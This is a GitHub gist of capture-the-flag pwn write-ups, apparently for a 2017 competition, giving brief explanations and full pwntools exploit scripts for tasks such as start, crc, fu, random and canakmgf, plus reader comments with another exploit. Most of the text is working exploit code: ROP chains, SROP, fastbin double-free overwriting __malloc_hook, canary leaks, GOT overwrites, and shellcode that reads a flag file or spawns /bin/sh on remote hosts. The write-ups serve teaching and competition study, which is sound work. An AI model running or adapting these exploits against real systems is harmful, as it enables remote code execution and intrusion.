Skip to content

Instantly share code, notes, and snippets.

@PaulCher
Last active January 25, 2019 09:07
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PaulCher/756503140162b255a478aa395343d201 to your computer and use it in GitHub Desktop.
Save PaulCher/756503140162b255a478aa395343d201 to your computer and use it in GitHub Desktop.

start

By using the so called universal gadget from __libc_csu_init we can read shellcode into the rwx memory segment and return into it.

start hard

By executing read function we can overwrite only last two bytes of read to find something useful and defeat ASLR. Fortunately there is one-gadget RCE located at 0xf0567 in this version of libc, right near the read function (0xf6670). We overflow only last two bytes to defeat ASLR, so that only around 16 attemps needed, because of 4 bit entropy of ASLR.

EDIT: checkout another great solution proposed by agadeint in the comment section below, which is cleaner and does not require bruteforcing and one gadget.

crc

Stack looks like this:

...
char buf[100];
char *buf_;

gets function is used to fill the buf, so it's easy to overflow buf_ pointer, which is later passed into count_crc function, so we can count crc almost of any memory region, thus we can get arbitrary read. We can get base address of libc from .got, and also we can get canary, because it's located in the memory segment right after the ld.so, which we can get by using kind of offset2ldso attack (though it is not stable and platform specific).

fu

We can underflow the fu pointer which in located in .bss section and make it point into the .got section, where we can read and write. I address of libc from got, then changed strlen@got to address of system@libc and puts@got into the address of main function, so after restart of the binary system function will be called instead of strlen of string controlled by me.

random

First of all canary can be leaked by entering numbers 1 .. 7 into the menu and the last byte is always zero. Also in this binary couple of very useful gadgets like syscall; ret can be found. So by using these gadgets and technic called SROP we can leak .got section, read our new ropchain and then return on it by using sigreturn.

canakmgf

In this task we can read any file, so we can read /proc/self/maps to defeat ASLR and by abusing double free into fast bin attack we can overflow __malloc_hook by address of system and call malloc(addr_of_binsh_on_heap), so system("/bin/sh") will be called.

canakmgf remastered

In this task we can not read any file on the system, but we can get memory leak of heap by reading contents of fastbin chunk, and we can get memory leak of libc arena by reading contents of small chunk. Then I overflow __malloc_hook once again into the one-gadget RCE and trigger double free error, which will trigger our hook. This is done exactly that way, because there is not such one-gadget that meets contrains if you simply call malloc, and you can not do the trick with addr_of_binsh_on_heap like the last time, because of the PIE address of the heap is now more that 2 ** 32 and we could only call malloc(unsigned int size).

defaulter

defaulter says he accepts a shellcode as input. But obviously was some trick in this task. First I tried to call execve("/bin/sh", NULL, NULL) shellcode, just to be sure that it blocked by seccomp sandbox or some sort of it (and it didn't work). So I tried testing over syscalls and I jumped into the inf. loop if syscall fails. open syscall was blocked as well, but openat was not, but openat needs absolute path to file as argument so I read the /etc/passwd to get username (which was pwn) and the read /home/pwn/flag. So full path looks like this: openat flag, read the flag into writable location, write it to the screen.

#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './cana'
WTIME = 0.3
idx = 0
def alloc(r, size, data):
global idx
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(size))
sleep(WTIME)
r.send(data)
r.recvuntil('away\n')
res = idx
idx += 1
return res
def free(r, i):
global idx
r.sendline('3')
r.recvuntil('Num? ')
r.sendline(str(i))
r.recvuntil('away\n')
def exploit():
global idx
REMOTE = 1
LIBC = "/home/paulch/cana_/libc.so.6"
if REMOTE:
r = remote('128.199.247.60', 10001)
else:
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('5. Run away\n')
r.sendline('2')
r.recvuntil('ran? ')
r.sendline("/proc/self/maps")
data = r.recvuntil('when you finish reading,', drop=True)
data = data.split('\n')
for line in data:
if 'r-xp' in line and 'libc' in line:
minus_index = line.index('-')
libc_base = line[:minus_index]
libc_base = int(libc_base, 16)
if 'heap' in line:
minus_index = line.index('-')
heap_base = line[:minus_index]
heap_base = int(heap_base, 16)
print hex(libc_base)
print hex(heap_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh\0'))
print 'malloc_hook', hex(malloc_hook)
print '/bin/sh', hex(bin_sh_addr), bin_sh_addr
r.recvuntil('away\n')
alloc(r, 0x10, "/bin/sh")
idx0 = alloc(r, 0x60, 'AAAA')
idx1 = alloc(r, 0x60, 'AAAA')
idx2 = alloc(r, 0x10, '/bin/sh')
free(r, idx0)
free(r, idx1)
free(r, idx0)
fd_ptr = p64(malloc_hook - 0x1b - 8)
alloc(r, 0x60, fd_ptr)
alloc(r, 0x60, 'C' * 8)
alloc(r, 0x60, 'D' * 0x8)
p = ''
p += 'Q' * 3
p += 'Q' * 16
p += p64(libc_base + libc.symbols['system'])
alloc(r, 0x60, p)
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(heap_base + 0x10))
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './camakmgf_remastered'
WTIME = 0.3
idx = 0
def alloc(r, size, data):
global idx
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(size))
sleep(WTIME)
r.send(data)
r.recvuntil('away\n')
res = idx
idx += 1
return res
def free(r, i):
global idx
r.sendline('3')
r.recvuntil('Num? ')
r.sendline(str(i))
r.recvuntil('away\n')
def print_func(r, i):
r.sendline('4')
r.recvuntil('Num? ')
r.sendline(str(i))
data = r.recvuntil('\n1. ', drop=True)
r.recvuntil('away\n')
return data
def exploit():
global idx
REMOTE = 1
if REMOTE:
LIBC = "/home/paulch/cana_/libc.so.6"
#r = remote('128.199.247.60', 10001) #first
r = remote('128.199.85.217', 10001) # second
else:
LIBC = "/home/paulch/cana_/libc.so.6"
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('5. Run away\n')
size = 0x60
alloc(r, 0x10, 'sh')
idx0 = alloc(r, size, 'AAAA')
idx1 = alloc(r, size, 'AAAA')
idx2 = alloc(r, 0x10, 'AAAA')
idx3 = alloc(r, 0x100, 'AAAA')
idx2 = alloc(r, 0x10, 'AAAA')
free(r, idx0)
free(r, idx1)
heap_leak = print_func(r, idx1)
free(r, idx0)
heap_leak += '\0' * (8 - len(heap_leak))
heap_base = u64(heap_leak) & ((1<<64) - 0x1000)
print 'heap_base', hex(heap_base)
free(r, idx3)
libc_leak = print_func(r, idx3)
libc_leak += '\0' * (8 - len(libc_leak))
libc_leak = u64(libc_leak)
main_arena_entry = 0x3c3b78
libc_base = libc_leak - main_arena_entry
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
system_addr = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols['__free_hook']
print 'libc_base', hex(libc_base)
print 'free_hook', hex(free_hook)
print 'malloc_hook', hex(malloc_hook)
fd_ptr = p64(malloc_hook - 0x1b - 8)
alloc(r, size, fd_ptr)
alloc(r, size, 'C' * 8)
alloc(r, size, 'D' * 0x8)
rce_gadget = 0xef6c4
p = ''
p += 'Q' * 3
p += 'Q' * 16
p += p64(libc_base + rce_gadget)
idx_ = alloc(r, size, p)
# trigger the double free in interactive
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
BINARY = './crc'
def get_crc(r, size, data):
r.sendline('1')
r.recvuntil('data: ')
r.sendline(str(size))
r.recvuntil('process: ')
r.sendline(data)
r.recvuntil(': 0x')
crc = int(r.recvline().strip(), 16)
r.recvuntil('Choice: ')
return crc
def leak(r, addr, length=4):
p = 'A' * 100 + p32(addr)
e = ''
for i in range(length):
val = get_crc(r, i + 1, p)
res = brute_crc(val, e)
e += p8(res)
return e
def brute_crc(crc_val, extra):
for i in xrange(0x100):
new_crc = crc.crc_32(extra + p8(i))
if crc_val == new_crc:
return i
def exploit():
REMOTE = 1
LIBC = 'libc-i386.so.6'
env = {
"LD_PRELOAD": "/home/paulch/crc_/" + LIBC
}
if REMOTE:
r = remote('69.90.132.40', 4002)
else:
r = process(BINARY, env=env)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('Choice: ')
atoi_got = 0x8049FFC
canary_offset = 0x1dc000 + 0x954
if REMOTE:
canary_offset += 0x1000 * 6
libc_leak = u32(leak(r, atoi_got))
libc_base = libc_leak - libc.symbols['atoi']
canary_leak = leak(r, libc_base + canary_offset)
canary = u32(canary_leak)
print hex(libc_base)
print hex(canary)
p = ''
p += 'A' * 40
p += p32(canary)
p += 'BBBB' * 3
p += p32(libc_base + libc.symbols['system'])
p += 'CCCC' * 1
p += p32(libc_base + next(libc.search('/bin/sh\0')))
r.sendline(p)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
shellcode_asm = """
[section .text]
global _start
_start:
jmp near end
main:
xor rax, rax
mov ax, 257
xor rdi, rdi
pop rsi
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
mov rsi, 0x00601000
xor rdx, rdx
mov dx, 0xffff
syscall
mov rdx, rax
; write
xor rax, rax
inc rax
mov rdi, 1
mov rsi, 0x00601000
syscall
cmp rax, 0
jg last
jmp near crash
end:
call main
db '/home/pwn/flag', 0
last:
jmp near last
crash:
db 'aaaaaaaaaaaaa', 0
"""
def exploit():
r = remote('188.226.140.60', 10001)
with open("shellcode.asm", 'w') as f:
f.write(shellcode_asm)
os.system("nasm -f elf64 ./shellcode.asm -o ./shellcode.o && ld ./shellcode.o -o shellcode")
with open('shellcode') as f:
data = f.read()
data = data[0x80:0xf0]
shellcode = ''
shellcode += data
sleep(0.5)
r.sendline(shellcode)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
BINARY = './fulang'
def exploit():
REMOTE = 1
LIBC = '/lib/i386-linux-gnu/libc.so.6'
if REMOTE:
r = remote('69.90.132.40', 4001)
else:
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('Enter your code:')
p = ''
p += ':<' * 0x20
p += ':.'
p += ':::<' * 4
p += ':<' * 7
p += ':.:>' * 8
p += ':('
r.sendline(p)
sleep(1)
r.send('\x27')
sleep(1)
got_leak = r.recv(4)
leak = u32(got_leak, endian='big')
libc_base = leak - libc.symbols['__libc_start_main']
print hex(libc_base)
main_addr = 0x080486de
jmp_addr = main_addr
for i in range(4):
x = jmp_addr & 0xff
r.send(p8(x))
jmp_addr >>= 8
system_addr = libc_base + 0x003a940 # system in their libc
for i in range(4):
x = system_addr & 0xff
r.send(p8(x))
system_addr >>= 8
r.sendline('/bin/sh')
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = 'random'
def send(r, i):
r.sendline(str(i))
r.recvuntil('value = ')
n = int(r.recvuntil('\n', drop=True))
r.recvuntil('get?')
return n
def exploit():
REMOTE = 1
if REMOTE:
LIBC = 'libc.so.6'
r = remote('69.90.132.40', 4000)
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
else:
LIBC = '/lib/i386-linux-gnu/libc.so.6'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('1-7\n\n')
canary = 0
for i in range(1, 8):
x = send(r, i)
print i, x
canary += send(r, i) << (8 * i)
r.sendline('10')
r.recvuntil('Leave a comment: ')
print hex(canary)
pop_rbp = 0x0000000000400f5f
pop_rdi = 0x0000000000400f63
pop_rax_rdi = 0x0000000000400f8c
pop_rsi_r15 = 0x0000000000400f61
mov_rdx_rsi = 0x0000000000400f88
leave_ret = 0x0000000000400b88
stdin = 0x06021C0
rw_addr = 0x602300
syscall_ret = 0x0000000000400f8f
print 'rw', hex(rw_addr)
p = 'A' * (1032)
p += p64(canary)
p += 'B' * 8
p += p64(pop_rax_rdi)
p += p64(1)
p += p64(1)
p += p64(pop_rsi_r15)
p += p64(0x21)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(stdin)
p += p64(0)
p += p64(syscall_ret)
#read
p += p64(pop_rax_rdi)
p += p64(0)
p += p64(0)
p += p64(pop_rsi_r15)
p += p64(0x70)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(rw_addr)
p += p64(0)
p += p64(syscall_ret)
s = SigreturnFrame()
s.rsp = 0x602300
s.rbp = 0x602500
s.rip = 0x0000000000400288
# sigreturn
p += p64(pop_rax_rdi)
p += p64(15)
p += p64(rw_addr)
p += p64(pop_rsi_r15)
p += p64(0)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(0)
p += p64(0)
p += p64(syscall_ret)
p += bytes(s)
r.sendline(p)
data = r.recv(0x21)
leak = u64(data[:8])
libc_base = leak - 0x3c38e0
rop = ''
rop += p64(pop_rdi)
rop += p64(libc_base + next(libc.search('/bin/sh\0')))
rop += p64(libc_base + libc.symbols['system'])
r.sendline(rop)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './start'
def exploit():
REMOTE = 1
if REMOTE:
LIBC = 'libc.so.6'
r = remote('139.59.114.220', 10001)
else:
LIBC = '/lib/i386-linux-gnu/libc.so.6'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(BINARY)
elf = ELF(BINARY)
# libc = ELF(LIBC)
rwx_addr = 0x00601200
ucall = 0x04005A0
upop = 0x004005BA
p = ''
p += 'A' * 24
p += p64(upop)
p += p64(0)
p += p64(1)
p += p64(elf.got['read'])
p += p64(0x80)
p += p64(rwx_addr)
p += p64(0)
p += p64(ucall)
p += 'A' * 56
p += p64(rwx_addr)
r.sendline(p)
shellcode = asm(shellcraft.amd64.sh())
sleep(2)
r.sendline(shellcode)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './hard'
def call_func(func, rdi=0, rsi=0, rdx=0):
ucall = 0x04005A0
upop = 0x004005BA
p = ''
p += p64(upop)
p += p64(0)
p += p64(1)
p += p64(func)
p += p64(rdx)
p += p64(rsi)
p += p64(rdi)
p += p64(ucall)
p += 'A' * 56
return p
def exploit():
REMOTE = 1
LIBC = '/home/paulch/hard_/libc.so.6'
if REMOTE:
# r = remote('139.59.114.220', 10001)
r = remote('128.199.152.175', 10001)
else:
r = process(BINARY)
elf = ELF(BINARY)
x = 0x2567
p = ''
p += 'A' * 24
p += call_func(elf.got['read'], 0, elf.got['read'], 2)
p += call_func(elf.got['read'], 0, 0, 0)
p += '\0' * 100
r.send(p)
sleep(0.5)
r.send(p16(x))
if r.can_recv():
r.interactive()
else:
r.close()
if __name__ == '__main__':
for i in xrange(0x10):
print i
try:
exploit()
except Exception as err:
print repr(err)
@PaulCher
Copy link
Author

PaulCher commented Apr 9, 2017

In this topic I tried to provide basic ideas of how you exploit this, which you could understand, if you tried to solve the task. Though if you still have any questions you can leave them here, and I'll try to answer them ASAP

@agadient
Copy link

agadient commented Apr 9, 2017

Hello Paul!

Beautiful exploit for start_hard. I spent a long time trying to get that one. I got it working on my OS (Kali 2.0) with ASLR on and I got it working on the most recent version of Ubuntu Xenial wish ASLR on, but it wouldn't work on their remote system!
My code is not as clean as yours, so let me explain what I did

write shellcode into the .bss section
there is a syscall located 0xe bytes away from the start of read on both Kali 2.0 and Xenial, so I overwrite the low byte of read() by using 10 bytes so that is becomes a syscall and so rax is set to 10 so that I can call mprotect() the next time I run read()
Set up registers for mprotect to make my shellcode executable.
Run the shellcode.

Do you know why my exploit wouldn't work? I'm thinking there was something wrong with only overwriting the low byte of read() to get past ASLR. Here is the exploit:

from pwn import *
import struct

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf = "A"*16
buf8 = "A"*8
rbp = "\x01" + "\x00" * 7
pop2_rsi = "\xc1\x05\x40" + "\x00" * 5
read = "\x00\x04\x40" + "\x00" * 5
pop_rdi = "\xc3\x05\x40" + "\x00" * 5
null = "\x00" * 8
bin_sh = "\x00\x17\x60" + "\x00" * 5
overwrite_read = "\x0f\x10\x60" + "\x00" * 5
pop_numbers = "\xbc\x05\x40" + "\x00"*5
call_numbers = "\xa0\x05\x40" + "\x00" * 5
address_of_call_numbers = "\x00\x17\x60" + "\x00" * 5
address_of_page = "\x00\x10\x60" + "\x00" * 5
address_of_nops = "\x20\x18\x60" + "\x00" * 5

for i in range(0, 256): # for loop only used for bruteforcing low byte

	poison_byte = struct.pack('<B', i) # the is the value that works on Kali 2.0 is 0x9e. For Xenial it is 0x7e
	exploit = bin_sh* 2 + rbp + pop2_rsi + bin_sh + buf8 +  pop_rdi + null + read
	exploit += pop2_rsi + overwrite_read + buf8 + read
	exploit += pop_numbers + address_of_call_numbers + "\x07" + "\x00" * 7 + "\x00\x10" + "\x00" * 6 + address_of_page + call_numbers
	exploit += address_of_nops * ((1024 - len(exploit))/ 8)
	exploit += read + "\x90" * (1024 - len(shellcode) - 8) + shellcode 
	exploit += "\x90" * 9 + poison_byte 
	print("sending {}".format(hex(i)))

	r = remote('128.199.152.175', 10001)
	r.send(exploit)
	if r.can_recv():
		r.interactive()

Thank you for your writeups!

@agadient
Copy link

agadient commented Apr 9, 2017

Nevermind, I figured it out! It was because I was sending the exploit all at once. Looking at your exploit, I used sleep() between each time I sent a block of data and it worked! Thank you!

@PaulCher
Copy link
Author

PaulCher commented Apr 9, 2017

Hello, @agadeint! Thank you for commenting!

The idea of overwriting read with syscall is absolutely beautiful, and to be real I like it even more than my own exploit since it does not use one-gadget RCE which are not stable, because of constraints, and also it does not require bruteforcing. Beautiful!

Alas, for me your exploit did not work as well. I suppose that when you launched exploit remotely your payload, which length is around 2048 bytes, was fragmented into different packets of length ~1500 bytes, because of the MTU. So the first read(0, buffer, 1024); consumed 1024 bytes and the second read did not wait for the second packet being received by network and consumed rest of 1500 - 1024 bytes.

The read is not blocking function, so you don't need to pad exactly 1024 bytes in your exploit. Summarizing all that knowledge, this issue can be solved by simply adding sleep(1) between sending your different payloads to ensure they will not be consumed by the same read function.

However, I would like to thank you for a great solution. Here is my exploit
for this task using technic you have described.

@agadient
Copy link

agadient commented Apr 9, 2017

Got it, thank you for the insight!

@cseagle
Copy link

cseagle commented Apr 9, 2017

We used read to setup some necessary rop chain stuff before and after the got, then pivoted esp into the got. Next we used pop ebp and push ebp gadgets in start_hard to make a copy of the got read pointer to a location after the got. One last use of read to flip the last byte of read to 0xd0 which turned it into write. Now we had read and write so game over.

Copy link

ghost commented Apr 13, 2017

i have one more question, how do you get the libc of camakmgf_remastered, i'm really consufed about this, hope get your response, thanks

@PaulCher
Copy link
Author

Hi, @ray-cp!

There was a way to read libc_base and heap_base, by reading contents of free normal sized chunk and free fastbin chunk, which would contain fd and bk pointers, because they were free.

Copy link

ghost commented Apr 14, 2017

thanks, but what i confused is that how do you get the library in camakmgf_remastered: /home/paulch/cana_/libc.so.6, the sponsor did't give us the libc, isn't it?

@PaulCher
Copy link
Author

@ray-cp

Ah... I see... Organizers told us that tasks were running on latest Ubuntu Xenial. So when I saw that I immediately downloaded latest version of Ubuntu which had the exact same version of libc. To ensure that I have exactly the same libc I downloaded library from their host after solving "start" task.

Copy link

ghost commented Apr 18, 2017

got it, thank you so much

@firmianay
Copy link

Hi, "start" is really a good example to learn ret2csu! Can you share me the binary, please. (their website has been down)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment